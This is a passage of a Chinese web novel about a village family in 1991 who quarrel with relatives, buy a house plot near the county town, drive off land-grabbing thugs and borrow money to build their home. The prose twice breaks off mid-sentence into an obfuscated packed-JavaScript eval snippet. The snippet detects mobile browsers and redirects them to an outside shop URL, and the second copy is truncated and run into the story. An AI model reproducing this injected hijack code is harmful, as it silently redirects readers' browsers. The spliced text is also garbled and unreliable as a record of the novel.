一桌人都看着秀水,潘萍脸色阴沉下来。秀水跟没看见似的,笑道:“舍不得小钱,挣不了大钱。等咱们买了地基搬过来,挣的钱一定会更多,气死那些眼红的!气死那些说嘴的!” 秀竹低头抿嘴笑,刘兰英心里也很快意。伍为民见潘萍脸色难看,忙道:“好了不提这些,大过年的咱们喝酒。这酒我老爹放了几味药材,泡了几个月,味道怎么样……” 饶是他这么拦着,潘萍还是发作了,“谁眼红?谁说嘴?别说得跟我没见过钱似的。你们家那钱怎么挣来的,自己心里不清楚?到现在粮站还有人说呢,说刘文强好样的,把自家外甥女安插到李局长家,讹了多少多少钱!刘文强你当初就不该管那个闲事……” 刘文强不等她说完就连忙喝止,刘瑞英却是早就红了眼,也顾不得这是在别人家做客,厉声道:“这也是你一个当舅妈的该说的话?别人说那话,你不该问着他?我女儿干什么了要被人这么说闲话?她清清白白一个姑娘家,被人欺负了,你当舅舅的不帮着她,还合着外人来欺负她,要不是她命大,要不是她命大……” 她绷不住落了泪,哽咽得说不出话来。伍为民等人又都来劝她,秀竹却大声说:“妈,你跟那糊涂人说什么?有什么好说的?他们不明白道理,难道我们还不明白?” 潘萍却也觉得自己受了天大委屈,在堂屋高喊:“我糊涂?瞧瞧你们家做的好事!刘文强让她去城里当保姆是在害她么?她自己不安份被人赶回来了,怎么怪上我们了?她又是寻死,又讹了别人几千块钱,这总是事实吧?现在粮食局的人连我们也编排上了,我还一肚子气呢!别人都说了,李局长家就是来了你这么个搅家精才散的……” “你少放屁!”喻庆山听到这儿,也终于爆发了,“文强,听听你老婆说的什么话!秀水是不安份才被人赶回来的?她被人欺负得多狠你真就不晓得?你明晓得李家人那么难缠,还送孩子去她家当保姆,难道没有自己的小算盘?王仁芳朝她身上泼污水,你帮她说过一句没有?但凡你为外甥女多想一步、多说一句,孩子也不会落到那个田地。想不到我们没怪你,你倒还怪上我们了。真是……真是……” 这还是大家第一次见老实人喻庆山发火,各自都吃惊不小。秀水却是倍感欣慰,好样的!她爸也开始长嘴了。 刘文强却是叫起冤来,“天地良心!我能有什么小算盘?总不是大姐托我留心,我见有那么个机会,巴巴地跑去跟你们说了!为了外甥女,我把局长都得罪了,我能有什么坏心思……” 眼看两边都急眼了,伍为民两口子乱纷纷地解劝着,就连伍老爹和伍婆婆也都下场了,苦劝双方道:“各有各的难处。秀水是我们看着长大的,孩子从小就听话仁义,跟她爸一样!文强呢也是一片好心……” “好心当成驴肝肺!弄得我们现在落一身埋怨,里外不是人!”潘萍却是饭也不吃了,扔下筷子一把扯起刘子康,“走走走!这饭吃得还有什么意思!” 伍为民和母亲忙又上前挽留,秀水却大喇喇坐着,招呼道:“来来来,我们吃饭!姨妈和婆婆做了这么多好吃的,咱们好好吃!走了个晦气的,我还多吃一碗饭呢。” 潘萍已经到了门口,听了这话又要回身再吵,伍婆婆和伍为民忙又合力拦住。正在门口闹不可开交,就见伍爱今那个没眼色的从外面一头扎进来,大喊道:“奶奶,我饿了,有饭没有?” 刘兰英正憋了一肚子气不好发作,闻言立刻道:“饿饿饿!你是饿死鬼投胎?看不见大人这里正忙着?” 伍爱今这才注意到家里气氛非比寻常,忙朝堂屋角落里龟缩,试图降低存在感。伍婆婆却又护着孙子,说:“大过年的,骂孩子干什么?就有气也该忍一忍,有什么话不能以后再说?” 潘萍听了更气,觉得这是伍婆婆拿话点她,扭头就走了。伍婆婆追上去要给刘子康压岁钱,潘萍也不要,两口子愤愤地骑上摩托车走了。 被他们这一通搅和,大家回到桌旁,都有些食不甘味。唯有伍爱今盛了饭,看看这个,又看看那个,然后趁人不备朝自己碗里狠挟一筷子菜。 刘瑞英和喻庆山红着眼圈儿,气性显然还没平。伍老爹举筷相邀,他们也只勉强笑着,半天吃不下去一口。秀水却是毫不在意,说:“爸,妈,嘴长在别人身上,你随他们怎么说。我才不气自己呢。我吃我的饭、挣我的钱,把日子过好了,比什么都强!我就喜欢他们看不惯我又干不掉我的样子……” “孩子看得比你们都明白!”伍老爹也忙说:“怄这些闲气干什么?有些人就是不明事理,糊涂人一个,跟他们计较什么……” 他平时说话做事极是圆融周到,大过年的被潘萍搅了一顿饭,也不高兴,话就说得重了些。刘兰英则深为愧疚,觉得都是自己多嘴,害得大姐和姐夫心里不好受,忙也拿话来解劝。 几人正说着,喻庆山却把筷子一放,说:“买了!今天就定下来!就要那块最大的地基。” 刘瑞英憋着的那一肚子火,仿佛也找到发泄的渠道,扭头说:“为民,咱们明天……后天就过来下定钱,到时还要劳烦你帮忙牵个线搭个桥……” 伍家爷孙都有些愕然,伍为民忙说:“都是一家人,不说这些客气话!只是也不用这么急,等正月十五过后都来得及!” 刘瑞英却是一刻也等不了了,说:“既然定了,就该早些把钱送过来,免得夜长梦多。以后秀水过来住,少不了要麻烦姨爹一家子。” “这有什么可麻烦的?”伍老爹是周到人,见两口子都气愤愤的,便缓缓地劝:“我们巴不得秀水搬过来住。大家离得近,时常走动也亲香些。只是……盖房子可是一辈子的事,你们再考虑考虑,可别为赌气一时做了决定,日后又后悔。” 秀水忙趁热打铁,“不后悔!地基卖得这么俏,过了正月十五保不准就晚了。后天我们就把钱拿过来,姨爹带我们去村里,把该办的手续一并都办了吧。” 伍为民见他们决心这样大,这时便说:“大姐,姐夫,你们既然同意,那就后天过来,我们趁早下定金。我五叔管着村里的事,到时我去求个情,看能不能便宜两个钱。不过这事村里人都盯着,若是不能少,你们也别怪我…… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16763569|189438||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 刘瑞英忙道谢,说:“晓得的,也不能让五叔难做人。” 几人商议定了,这才又重新吃起饭来。饭后闲聊片刻,喻庆山等人便告辞回家,伍婆婆忙又给秀水和秀竹一人一份压岁钱。 秀水推辞道:“婆婆,我都十八了,又不是小孩子。” “你哪怕一百岁,在我眼里也是个孩子!”伍婆婆嗔怪着,硬把压岁红包塞给了她。 秀水便收了压岁红包,四个人骑着两辆自行车往家走。路过那块地基时,又忍不住下了车,在旁边看了好一会儿。秀竹和秀水商量着房子怎么盖,刘瑞英则越看越觉得这地方好,又宽敞,离路又近,心里又肉痛又欢喜。 喻庆山自然晓得她的心思,站在旁边道:“钱没了再挣就是!要买就买合心意的。反正要借钱的,到时慢慢还就是了。” 刘瑞英也是这么想的。他们这一辈子,很可能只能建这一栋房子了。为了秀水和竹子的将来,多花些钱也是值得的。 回家后,刘瑞英就把没来得及存的钱全拿出来,准备后天再去银行取一点,一早就去小庙村把事办了。 为什么不是明天呢?因为第二天家里要喻庆海一家子过来玩一天。借此机会,喻庆山也想跟哥哥商量以后盖房的事情。 第二天上午吃过早饭,喻庆海和蒋士芳便带着儿女们都过来了。大家也都不是外人,进了门便分成两拨,已婚人士去厨房准备饭菜,三个女孩在堂屋看电视闲聊。 厨房里,喻庆山把在外面买地基的事情告诉了兄嫂,果然喻庆海大为吃惊,“还花钱买地基?村里的地基又不要钱!三千八,有这钱都能起一间厢房了!” 秀明却比他爸有见识,忙说:“南边小庙村修了路,就跟县城连成一片了,那能跟咱们村一样吗?” “秀水就是这么说的,”刘瑞英边切卤菜边道:“如果那边车站修好了,来往的人多,我们想开个餐馆,反正自家房子,又不要门面费,水电费也便宜……” “听得我都心动了!”秀明剥着葱笑道:“爸,要不我们也买一块吧,跟小叔他们一起搬过去!” 喻庆海不答话,蒋士芳叹道:“你说得轻巧,家里哪来那些钱?” 家里当然有买地基的钱,只是喻庆海和蒋士芳都舍不得。家里房子宽绰得很,去小庙村买块地基,跟把钱往水里扔有什么区别? “准备啥时候动工?”喻庆海坐在灶门前问。弟弟盖房,他自然要去帮忙的,所以要问明时间,好提前作出安排。 “明天我去办手续,看那边怎么说。”喻庆山哗哗地洗着青菜,说:“我想越早越好。最好过完元宵节就开工。” “这么快?”其他人都觉得意外。他们今天才得到买地基的消息,没想到喻庆山已经计划元宵节过后盖房子了。 “搬过去也好!”蒋士芳自然猜得到刘瑞英心里的想法,便道:“离了这个乌烟瘴气的地方,以后也好给秀水说门亲事。” 刘瑞英不欲多说,便把话题岔开,“听庆山说,那边大姑妈想给秀真介绍对象?哪个村的人?人品怎么样……” 22. 第 22 章 堂屋里暖意融融。电视上重播着春节联欢晚会,三个女孩围坐在小桌边,一边烤火,一边在春晚的欢声笑语里轻声聊着天。 得知小叔家要到小庙村买宅基地,秀真非常惊诧,连连问是不是真的。在秀水和秀竹都给了肯定答复后,她说了和蒋士芳同样的话:“搬走也好。咱村里那些人实在太不像话了……” 她回来的这些天,已经听母亲讲过秀水的事情了,对村里人怎么议论秀水的也略知一二。这时便打抱不平道:“别人胡嚼些什么,你都别放在心里。其实村里大多数人都很不错,就是那少数几个人,天天搬弄是非,破嘴就没闲过。没人不讨厌他们的……” 秀水磕着瓜籽笑道:“我才不放在心里。我只是忙着挣钱,懒得搭理他们罢了。” 秀真看出秀水是真不在乎,不由很服气。她以前总觉得两个堂妹都太老实,所以有什么事她都冲在前面。想不到她只是出去了大半年,回来后两人就变化好大。尤其秀水,竟然还敢拿大粪泼杨定桂那泼辣货,当真叫她刮目相看。 “真舍不得你们搬走啊,”秀真感叹,“光是想想,就感觉这心里空落落的。” “你平时都不在家,我们搬不搬对你有啥影响呀,”秀水笑道:“今年还出去打工吗?” “过完元宵节就得走。”秀真叹气,说:“打工真没意思,但是在家呆着更没意思,还没钱。所以还是得出去啊……” 说到这里,她由衷地羡慕秀竹,“还是竹子厉害,将来还能考大学。大学生都包分配的,有了正式工作,才算是真正的城里人。像我们打工的,哪怕在城里呆一辈子,人家看我们也是个外来妹。” “真真姐,我听说大姑妈想给你介绍对象?”秀竹八卦道,“是哪里的人?长得好不好看?” 秀真脸色微红,嗔怪道:“管他好看不好看,又不认识。” 其实今年蒋士芳已经不希望秀真跟兄嫂去外地了。姑娘大了,便要说亲事,准备嫁妆。村里比秀真小的女孩都有出嫁的。但秀真不同意,还是想出门挣钱。大姑妈介绍的那几个男的她也不中意。 她不知道自己想要什么。现在她也算是去过大城市的人了,哪怕只是大城市的工地。——其实到处的工地都差不多,白天乱哄哄的,晚上鸦没雀静。要走很远的路才会到闹市区。过去的大半年里,秀真总共也没进几次城。 可哪怕是惊鸿一瞥,她也忘不了城市的繁华和热闹。相比之下,老家的乡村很穷,也很无聊。秀真一想到自己结婚后就要生活在这样的村庄里,然后变成和杨定桂差不多的女人,就觉得很恐怖。 可是,不回来又能怎样呢?她总归是要结婚的,不然还能在工地上烧一辈子火?那也不是她想要的生活。站在她二十岁的人生节点上,秀真很迷茫,找不到人生的出路。 “秀真,有时间就去学门手艺吧,”秀水忽然建议:“不管是财会、厨师还是什么别的,总之你想留在城里的话,有个手艺总是多一些机会的。” 秀真不是第一次听到这话,大姑爹也曾跟她提过一次,让她趁年轻时学一门手艺。秀真认真考虑了很久,然后……就没有下文了。 “不知道学什么好,”她苦恼道:“而且我们住工地上,要去城里才有培训班。路很远,听说报班还要花很多钱。我妈让我把钱攒起来……” “你的当务之急不是攒钱,而是投资自己。”秀水道:“不管是出门打工,还是留在村里嫁人,都要让自己有个立身之本。手艺就是你的底气,到哪儿都能不受欺负。就算有人欺负你,你转身就能去城里找份工作……” 秀真看着堂妹,心里多少有点失落。以前三人中她总是那个拿主意的人。现在秀水有了手艺,在外做买卖,反而变得比她有主见。 “好,等我出去就报个班。”她说:“厨师怎么样?我力气大,掂勺也掂得起来。” “好!”秀竹热烈响应,“那你学会了,要做饭给我们吃。等我们新房子盖起来了,地方够宽敞,你过年回来了可以过去住!” “好啊,”秀真也很向往,说:“到下次回来,你们的新房子就该盖好了吧。” 两家人在喻庆山家玩了一天,期间也商定好了要请哪些人帮忙、几时动工等细节。第二天一早,刘瑞英和喻庆山就去信用社取了钱,赶往小庙村。过去后伍为民也是一刻都没耽误,和他们一起去了村委会。 村里也都没上班,只有伍五叔在办公室等他们。见了喻庆山等人,伍五叔笑道:“年都没过完,就决定好了?” “决定好了,早买早安心,免得夜长梦多。”喻庆山忙给伍五叔敬了支烟。 在场的也没外人,伍五叔便把烟夹在耳朵上,跟他们推心置腹道:“本来都是自家人,为民也说了好几次,让我再便宜几百块钱。可是大侄儿、大侄媳妇,看上那块地的人太多了。年前七八个人都说想买,有村里的人,也有城里的人,都觉得那块地地段好、地方又大,就只价钱高了些。如果我肯便宜几百块钱,早就卖出去了……” 刘瑞英听了,不由暗暗心惊,幸好秀水一力坚持早买。否则往后拖一拖,只怕这地基真就跟他们无缘了。 “村里早就定了规矩,谁先把钱拿过来,地基就卖谁。”五叔接着道:“大侄媳妇,你们有诚心,说买就拿着钱来了。到你们盖房时,若那些没买成的人过来闹事,我自然会去给你撑腰,为你们做主。若这时我给你便宜几百块钱,只怕连我都说不起话了……” 喻庆山一听就明白了,忙说:“五叔,该出多少钱,我们就出多少钱。免得到时有人说嘴,也坏了村里的规矩。” 伍五叔见他这么爽快,也很高兴。几人叙了些闲话,等村里会计来了以后,喻庆山和刘瑞英便足额交了钱,登记按手印,把手续都办了。伍五叔反有些过意不去,说:“以后都在小庙村住,你们有什么难处,只管找我或为民。能帮忙的,我们一定帮!” 刘瑞英忙又问了秀水落户到小庙村的事情,伍五叔也拍着胸脯说没问题。等事情办完,伍为民又把人请到家里,好吃好喝地招待了一顿。席间讨论盖房事宜,喻庆山担心红砖紧俏不好买,五叔正好认识一个窑场老板,当下便决定过几天带喻庆山一起去买砖,等过了正月十五便好开工。 傍晚回家时,刘瑞英和喻庆山晕晕乎乎的,觉得跟做梦一样。路过自家那块地基时,停下来看了又看,越看越满意,越看越欢喜。过了好久才又骑上车往家走。 晚上回家,秀水和秀竹听说事情办妥了,也很兴奋。一家四口坐在桌边核计起盖房的花销来。刘瑞英和喻庆山列出需要花钱的地方,秀水打算盘,秀竹记账,把建房费用大致算了算。 这年头在农 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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但跟盖房的钱相比,这点进账显得很微薄。于是喻庆山下了决心:“实在不够就去借钱,哪有盖房子不借钱的?” 是啊,在农村,谁家盖房子不借钱?就算他们住的这几间破旧的泥瓦房,喻庆山的爹当初不也借了一屁股债么?甚至还有房子盖到一半就停工的,因为实在借不到钱,只能等攒够了钱再开工。 他们手头攒了一万多块钱,这就已经比大多数人都强,足够开工了。 过了两天,喻庆山开始逐一上门,请村民们预留工期、帮忙建房。村里顿时沸沸扬扬地传开了,都说喻家要搬去小庙村。就连隔壁刘婶子得了消息,也跑过来问信。 刘瑞英只得逢人就解释,红英村的房子和地不卖,他们两口子还要住的。小庙村的新房是给秀水和秀竹盖的。 “她姨妈说那边离城近,非要我们秀水搬过去。”刘瑞英装作苦恼的样子,跟刘婶子说:“她爸想着,孩子住那边,卖包子也省些力气,就同意了。烦人,跑那么远……” “能搬过去自然好,”刘婶忙劝她,“那边人种菜,比我们这里还富裕些。秀水卖包子,也省得来回跑那么远……” 就在这纷纷扰扰中,元宵节很快过去了。正月十六,秀明带着媳妇和妹妹,踏上外出打工之旅;秀竹带着母亲准备的吃食,返回了学校;喻庆山则和哥哥开着拖拉机,拉了一大车人,来到小庙村,准备开工建房了。 23. 第 23 章 对于喻庆山要把新房建到小庙村这件事,红英村的很多村民都不理解,甚至还有出言嘲讽的。金窝银窝不如自己的狗窝,祖祖辈辈居住的地方,离开了去别处怎么会习惯?再说了,小庙村难道比红英村强么?喻家人过去又没地可种。农民没有地,和大树没有根有什么区别? 不过说归说,嘲归嘲,欠了喻庆山家的工时却是要还的。受到邀请的村民都尽早作出了安排,专门空出时间,好去工地上帮忙。好在现在田里没什么事,就算住过去干几天活也没问题。 正月十六,十来个人挤挤挨挨地坐在拖拉机的后车厢里,屁股下垫着被窝卷和几捆稻草。等到了小庙村,他们先去刘兰英家。伍老爹和伍婆婆早就收拾出了自家的厢房。喻庆山带着人在地上铺上一层厚厚的稻草,然后把被窝铺在稻草上,就算是地铺。大家住在小庙村,省得来回跑。白天在工地上干活儿,一日三餐就在刘兰英家吃。 刘兰英已经去棉纺厂上班了,因此在家做饭的是伍为民的爹妈。伍老爹六十多岁,身体硬朗,每天跟着喻庆山去工地上当小工。伍婆婆在家烧十几个人的饭。因为吃得简单,倒也不是什么难事。切些腊肉煸炒出油,煮一大锅白菜萝卜就算一顿饭。刚开春,田里多的是白菜萝卜,腊肉是喻庆山带来的,连买菜都不用。大伙儿也不挑,只要有油水,人人都吃得香。 伍老爹和伍婆婆这么尽心尽力地帮喻庆山两口子,也是有原由的。两年前自家盖房子时,喻庆山和刘瑞英可是住在这边帮了大半个月的忙。往年刘瑞英还时常给妹子送米送肉,他们老两口也跟着吃了不少。这回轮到人家盖房,当然是有多大力出多大力。 盖房先要挖地脚。秀水和刘瑞英从两头扯着绳子,伍老爹和喻庆山拿白石灰顺绳子画线,在空荡荡的地基上规划出房屋、厨房、院子和院墙。一切都是在家商量好的,前面盖楼房,后面是院子和三间大瓦房。前后相连的是宽敞的厨房。厨房旁边打水进,另一边还有厕所和小小一个猪圈。 然后懂行的大师傅指挥大家,沿着白线挖出两尺来宽的槽子,这就是地脚。前面楼房的地脚和后面厨房的地脚深浅不一样,没有规划图,都靠大师傅在现场指挥。 开工第一天,不仅伍老爹过来帮忙,伍五叔和村会计也来了。他们在工地上转了好几圈,和喻庆山等人谈笑风生。——这也算是向那些欺生排外的本地人昭告,来盖房的这户人家是有根底的。去他家工地上闹事,就等于得罪了伍家人、得罪了村里。伍家在小庙村人丁众多,还有五叔这么个辈份高、威望重的人坐阵,即使有人恼恨喻庆山抢走了自己中意的地基,也不敢轻举妄动。 但本村人不来闹事,不等于别处没人来。 这天下午,秀水卖完了包子,骑车赶往小庙村,远远就看到自家工地上一片忙碌,大家正在卸刚运来的红砖。这时身后忽然传来轰鸣声,就见三辆摩托车从后面飞驰而过,径直驶到工地旁边,扬起了半人高的黄色尘土。 六七个人气势汹汹从车上下来了。当先一个身高体胖的男人,脖子上戴着金链子,大声喝道: “哪个让你们在这里动工的?” 跟着他的那几人也四处推搡着干活的村民,“快滚!这是我们金总的地盘,哪个让你们动工的?” 村民们都很老实,见了这群耀武扬威的人,忙都停了手。喻庆山迎上去,恭敬地递上一根烟,还没开口,就被旁边一个人把烟打落了,“滚一边去!你谁啊?哪儿来的不长眼的狗东西!金总看上的地盘也敢抢?” 这时,就听身后传来一道朗朗的声音,“你们金总又是哪儿来的不长眼的狗东西?” 众人讶然回头,就见一个瘦瘦高高的女孩从自行车上下来,把支架站好了,这才不慌不忙地走了过来。 顿时有几个人都骂骂咧咧地往前涌,准备给秀水一点教训,却被领头的金胖子拦住了。他蛮横地用食指点着秀水,说:“老子不打女人。你他*妈的嘴巴给我放干净点!”又回头教训喻庆山,“你是老板吧,找村里把钱退了!这地方归我了!” “你说归你就归你?你算老几?”秀水在后面抱臂问道。 金胖子震惊了,这女的什么来路?竟敢这么嚣张? 村民们也震惊了,这可是一群流氓地痞,惹恼了他们,他们是真敢动手打人的! “我日你妈……”果然,金总旁边一个瘦猴样的男人被激怒了,朝秀水疾冲过来,照面就是一脚。喻庆山惊呼出声,朝闺女那边扑去。金胖子等人也吃了一惊,这一脚力道不小,他们只打算赶人,可没打算闹出人命啊…… 众目睽睽之下,就见秀水朝旁一闪,抓住那人踢过来的腿就势一拽。瘦猴一个劈叉坐在地上,发出一声惨叫。紧接着被秀水一拳打中面门,又发出一声惨叫。 村民们震惊地沉默着,金胖子等人也震惊地沉默了。喻庆山震惊又疑惑地停下脚,看看地上瘦猴,又看自家闺女。 不是,刚才太快了他没看清,能不能来个人告诉他,到底发生了什么? 秀水又猛踹瘦猴一脚,这才气势汹汹拿起了旁边的铁锹,大喊:“都欺到我们头上来了,还站着干什么?打死这帮狗东西!” 喻庆山怔了怔,跟着女儿拿起了铁锹,“狗东西,太欺负人了!打死他们!” 他们来的人多,工地干活的人也不少。平时他们碰到城里的流氓地痞,都是很胆小懦弱的。但只要有人带头,他们的胆子便也跟着大了起来。大家的怒火迅速被点燃了,他们本本份份地干着活呢,这些王八蛋就过来吆五喝六,算什么东西? 几个村民都跟着拿起了铁锹,没有锹的也捡起了砖头和木棍,吆喝着冲了过来。 金胖子没想到自己碰上了硬茬子,很快,他们就被群情激愤的村民围堵在中间,几个人忙也捡起地上的砖头,色厉内茬地威胁,“谁敢动手!动一个试试!” 正在僵持中,得到信息的伍五叔也带着几个小庙村的村民赶到了。 隔着老远,伍五叔就大喊:“不许动!先把手里的东西放下!都给我放下!” 他飞奔着挤进人群,把金胖子等人手里的砖头都夺了下来,又对喻庆山等人说:“大家冷静冷静,给我个面子,我来处理!听我的,都交给我来处理!” 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“看上这地方的人多着呢!”旁边一个小庙村的村民尖酸道:“看上了就是你的?那我还看上县百货大楼了呢!” 旁边有人哄笑,伍五叔一个眼神制止了大家。然后他对金胖子等人说:“我在村里大会上说过这话,也跟你们多次说过这话,想买地基就得掏钱!谁把钱先拿来了,我就给他先办手续!我只认钱不认人!因为这钱是村里的,不是我个人的!金老板,你是说过你想买,可你不出价,甚至连定金都不给!如今等别人买了,你又来闹事!你咋想的?是不是非得让我们白送一块地基给你?” 小庙村的村民们更愤怒了。县里修路盖车站,是没有征地补贴的,所以才有了这么个土政策,让村里把沿路的菜地划成宅基地对外出售,用来补贴被征地的村民们。所以卖宅基地的钱也不是村里的,终归要落进村民的腰包里。这些个不要脸的,竟然还想来白蹭! 有人便喊:“人家喻大哥买的地基,你金胖子伸什么手?还想赶走人家,人家办手续了的!” “村里人想买地都得掏钱,你算老几?你脸比磨盘都大?” “小庙村的事,小庙村说了算!再有人过来撒野,打死了算球!” …… 在村民们愤怒的质问声中,金胖子等人连连后退,最后把流着鼻血、扯了胯的瘦猴扶到摩托车上,驾车仓皇离去。喻庆山这才大大松了口气,把手心的汗悄悄抹到裤子上,掏出烟来感谢五叔和现场的村民们。大家意犹未尽,还在七嘴八舌地讨论,这时却有个小庙村的人疑惑道:“啥时候动的手?谁把那家伙打得鼻血长流?” 红英村的村民们齐齐看向人群后面的秀水,喻庆山忙说:“他摔的!想打人没打着,摔破了鼻子,还扯了胯。” 小庙村的几个人发出快活的哄笑,“就这熊样还出来抢地盘,丢人现眼的东西!” 于是红英村的村民们也跟着发出了快活的哄笑,“就是呢,连个姑娘家都打不过,还出来抢地盘。丢人现眼的东西!” 24. 第 24 章 新规划的那条路被称作小庙大道。随着喻庆山家率先开工,小庙大道两边的宅基地也如雨后春笋般长出了墙体。马路对面的车站也开始动工了。准备盖县农村信用合作社大楼的地方围起了很长的围墙。到处都堆着沙石砖瓦,到处都是灰尘和车辆带起的泥巴。 正月过后,期盼已久的小庙大道也开工了。挖掘机轰隆隆地开进来平整场地,平整好的路基宽敞得不像路,像连片的蓝球场。傍晚收工时,常有村民到路边观看指点,都说等路修好了,这里也会变成怀安县最繁华热闹的地方之一。 到这时,喻庆山家后面的几间房,已经盖得差不多了。 别人家盖房,都是先从正房盖起,喻庆山的房子却是先盖了后面的厢房和厨房。因为盖房子少说也要四五个月,那么多人总不能一直吃住在亲戚家。厢房和厨房盖好后,喻庆山就带着大伙儿搬了过来,吃住都在工地上,顺便还能在夜里照看材料。 自从大家齐心协力赶走了金胖子,工地上就一直很太平。小庙村为此组织了一支巡逻队,经常到路边巡查,防的就是有人来打斗闹事。伍五叔在村里的大会上也反复强调,不管是本村的还是外地的,既然在这边买了地基,就要准许人家建房。不然以后谁还敢来小庙村投资搞建设? 连路边住户建房都不准去骚扰,更别说县里修路修车站了。修路的工程队进驻后,小庙村天天泥沙漫天,换作别处必定有村民去抱怨甚至撒泼,小庙村却仍是一团祥和,村民们进出不便,也都相互宽解:“不要紧,等过几个月就好了。” 秀水听她爸说了这事后,不由对五叔刮目相看。要知道现在可是1991年,“营商环境”这样的字眼还没有进入县领导们的视野,更别提基层村干部了。伍五叔一个初中学历的村支书,竟然凭本能意识到村庄的风气对于发展的重要性,还把那些不安份的村民管得服服帖帖的,不得不说他很有几把刷子。 自从喻庆山住到南郊盖房,家里大大小小的事情就交给了刘瑞英和秀水。别的也就算了,唯有豆腐包事业刘瑞英最为重视,因此,她每天都要两点钟准时喊秀水起床,两人搭手磨豆浆、做豆腐、蒸包子。秀水还很年轻,正是贪睡的时候,每天早起都睁不开眼。上午在菜市场卖包子时,都有点晕晕乎乎的。 偶尔秀水卖完包子,时间如果还早,就会骑车到南郊去看看。随着时间的进展,前面的楼房也开始砌墙了。一楼靠路要盖四间门面房。按照秀水的建议,隔一间门面用来做早餐生意,其余三间,都可以打通,方便以后做超市。 超市是个啥东西大伙儿并不清楚,因为整个怀安县城到现在还没有一家超市,只有百货商场。不过他们也不需要了解这个,只知道秀水要把三间房打通为一整间。几个大师傅为此蹲在一处计算了半天,才最终确定要用多少钢筋、多少预制板。 就这么着,从正月份一直忙到四月,一楼的主体结构终于盖得差不多了,院墙也盖好了,厢房和厨房早盖好了,甚至厨房里还请小庙村的师傅修了一个两孔柴火灶。然后,工地上停工了。 因为红英村的村民们要回自家准备农忙了。 到这个时候,喻庆山和刘瑞英积攒了十几年的老本也挥霍一空。还要买预制板,买粉刷外墙的水泥,买粉刷内墙的腻子粉……处处都要用钱。喻庆山回家和老婆商量了,准备出门借钱。 清早送完包子后,两人就分头出去了,喻庆山去了喻庆海和喻庆华家。而刘瑞英则去了父母家。 上午去的,中午就回来了。路上刘瑞英痛哭了一场。没想到,自己好容易朝父母开一次口,她爸就两个字:没钱。 这些年来,刘瑞英没少往自己娘家拿东西。一年上头香油、鸡蛋、猪肉没断过。虽说父母家是农村的,也出产这些东西,可他们的好东西都是要送给儿子儿媳和大孙子的。 两个老人舍不得吃舍不得穿,眼里只有儿子一家人。刘瑞英这个当女儿的心疼他们,宁可自己少吃一口,也要接济接济他们。谁知道,轮到自己需要帮一把的时候,两个老人连个面子情都没有。——你没有钱,哪怕借个五百块呢,也是这些年来父女一场啊。 她爸不但没借钱,还趁机教训了刘瑞英一顿。说他们家卖包子挣了两个钱就满世界炫耀,又是买地又是盖房的。这就算了,竟然还跟自家兄弟吵架,丢人都丢到亲家公面前去了。照这样下去,以后怕不是要骂到爹妈脸上来…… 刘瑞英心都灰了,也没多解释,就红着眼睛回家了。到家后,她一个字都没跟喻庆山提,她觉得丢脸。但喻庆山看到老婆的表情时,还是很快就猜出了大概原委。 “没得事,借不到就算了,”他忙安慰老婆,“大姐说这两天在家筹一筹,多的不敢说,三千块钱是有的。再加上二哥那边也能借一两千,就差些,也差得不多了。” 刘瑞英一听,又要流泪,忙低头装作捡扫帚,半晌才低低地“嗯”了一声。 第二天,喻庆华便骑着自行车,风尘仆仆地来了。到了红英村的小弟弟家,她从自己怀里掏出个布包。里面装了四千块钱,都是十块一札的票子,厚厚的几大札。 喻庆华说:“你们盖房这么大的事,我怕家里的钱不够,又朝别人借了点。你们先用着,等我和贵忠说了,让他想办法邮点钱回来。” “大姐,这就够了!尽够了!”喻庆山和刘瑞英连连说。 “不着急,”喻庆华知道小弟两口子都是老实人,借了债夜里都睡不着觉,便叮嘱道:“等我有了钱,就把村里人的钱先垫上,我的钱你们慢慢还。” 喻庆山便说:“大姐,我们有了钱尽快还上。你们家还得给老二说媳妇呢。多不过一两年时间,我们就能缓过来。” “急什么?说了让你们不要急!咱家不等着钱用,等你姐夫外头的账收回来了,我再拿点过来。”喻庆华忙说。自从听说弟弟家在盖楼房,她就很欣 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钱是借够了,工地上却暂时开不了工。因为喻庆山也要在家忙春耕了。先是收油菜割麦,紧接着又要耕田打耖,把田地整出来,最后插上秧苗才算完。此外家里每天还要做豆腐包,更比别家忙。 再忙再累,豆腐包也是非做不可的。如今他们家欠了一屁股债,就靠着豆腐包挣些钱了。哪怕夜里不睡,两口子都要揉面蒸包子。好在为了减轻劳动量,刘瑞英终于同意暂时从外面购买豆腐了。 等繁忙的农忙季过去,喻庆山和刘瑞英都黑瘦了一圈。大家约刘了,喻庆海开着拖拉机,再次把村民拉往南郊小庙村。一个多月过去,村民们惊诧地发现,小庙村的变化更大了。那条路已经初见雏形,平整宽阔得不像话,从县城边一直通往远方。等全部倒上水泥,两边的人下雨出门都不怕泥巴粘鞋了。 他们羡慕地看着,不得不承认喻庆山家的新房盖得很是地方。这位置,别说比红英村强,简直比县城的很多地方都好!县城的路虽平整,哪有小庙大道这么宽、这么新? 大伙儿在工地上忙了一两天,楼房的墙体就完工了,接下来就到了上房梁的时候。 本地的风俗,正房屋顶最主要的那根房梁架上去时,附近乡邻都会去帮忙。东家要放鞭炮,还要散些包子馒头之类的吃食。上房梁那天早上,伍为民和伍老爹大清早就带着几个村民来了。过了一会儿,伍五叔也带着几个人来了。刘瑞英和喻庆山笑容满面地四处敬烟,跟大家表示感谢。然后大伙儿挽起袖子,扯的扯,抬的抬,嘿哟嘿哟地使着力气,把二楼的几根房梁都架了上去。 